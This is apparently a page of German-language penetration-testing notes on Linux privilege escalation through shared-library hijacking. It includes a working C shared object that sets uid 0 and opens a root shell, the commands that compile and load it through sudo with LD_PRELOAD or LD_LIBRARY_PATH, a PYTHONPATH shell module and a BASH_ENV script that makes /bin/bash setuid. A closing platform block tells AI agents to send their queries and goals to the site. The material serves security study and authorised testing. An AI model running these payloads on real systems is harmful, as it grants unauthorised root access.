> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/shared-library-hijacking.md).

# Shared-Library-Hijacking

Shared-Library-Hijacking missbraucht den dynamischen Loader, wenn ein privilegiertes Binärprogramm ein fehlendes, beschreibbares oder vom Angreifer kontrolliertes Shared Object lädt. Ein bösartiges `.so` kann Code mit den Rechten des Ladeprozesses ausführen.

## Methodik

* Verwenden Sie `ldd`, `strace`, oder die Fehlerausgabe, um fehlende oder beschreibbare Bibliotheken zu finden.
* Bestätigen Sie den Bibliothekssuchpfad und ob das privilegierte Binärprogramm das kontrollierte Objekt lädt.
* Kompilieren Sie eine minimale Shared-Object-Payload und lösen Sie das privilegierte Binärprogramm aus.

## Schnellprüfungen

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD und LD\_LIBRARY\_PATH

Wenn eine sudo-Regel Loader-Variablen beibehält oder ein privilegierter Ausführungspfad kontrollierte Bibliothekssuchpfade zulässt, kann ein bösartiges Shared Object als privilegierter Benutzer ausgeführt werden.

Erstellen Sie eine minimale Shared Library:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

Kompilieren Sie sie:

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

Verwenden Sie es nur, wenn der Zielausführungskontext die Loader-Variable tatsächlich beibehält oder berücksichtigt:

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### Sudo-Umgebungsvariablen

Prüfen Sie, ob sudo gefährliche Variablen beibehält:

```bash
sudo -l
```

Interessant `env_keep` Werte umfassen:

| Variable          | Missbrauchsidee                                                                     |
| ----------------- | ----------------------------------------------------------------------------------- |
| `LD_PRELOAD`      | Ein bösartiges Shared Object vor normalen Bibliotheken laden.                       |
| `LD_LIBRARY_PATH` | Die Bibliothekssuche auf vom Angreifer kontrollierte Pfade umleiten.                |
| `PATH`            | Relative Befehlsausführung über vom Angreifer kontrollierte Binärdateien erzwingen. |
| `PYTHONPATH`      | Bösartige Python-Module in mit sudo ausgeführtem Python-Code laden.                 |
| `PERL5LIB`        | Bösartige Perl-Module in mit sudo ausgeführtem Perl-Code laden.                     |

### PYTHONPATH-Beispiel

Wenn eine sudo-Regel Python ausführt und beibehält `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### BASH\_ENV-Beispiel

Wenn ein privilegiertes Programm `sh` so ausführt, dass `BASH_ENV`, testen Sie mit einem kontrollierten Skript:

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>Shared-Library-Hijacking von libwelcome.so</h4></td><td>Hinweise zum Shared-Library-Hijacking (libwelcome.so) für Linux-Privilegieneskalation, mit Enumerierungsschritten, Exploit-Beispielen und auf Berichterstattung ausgerichteter Validierung.</td><td><a href="/pages/f4793122a566cbf82eb2a1b9b4a5c24edcab97fc">/pages/f4793122a566cbf82eb2a1b9b4a5c24edcab97fc</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/shared-library-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
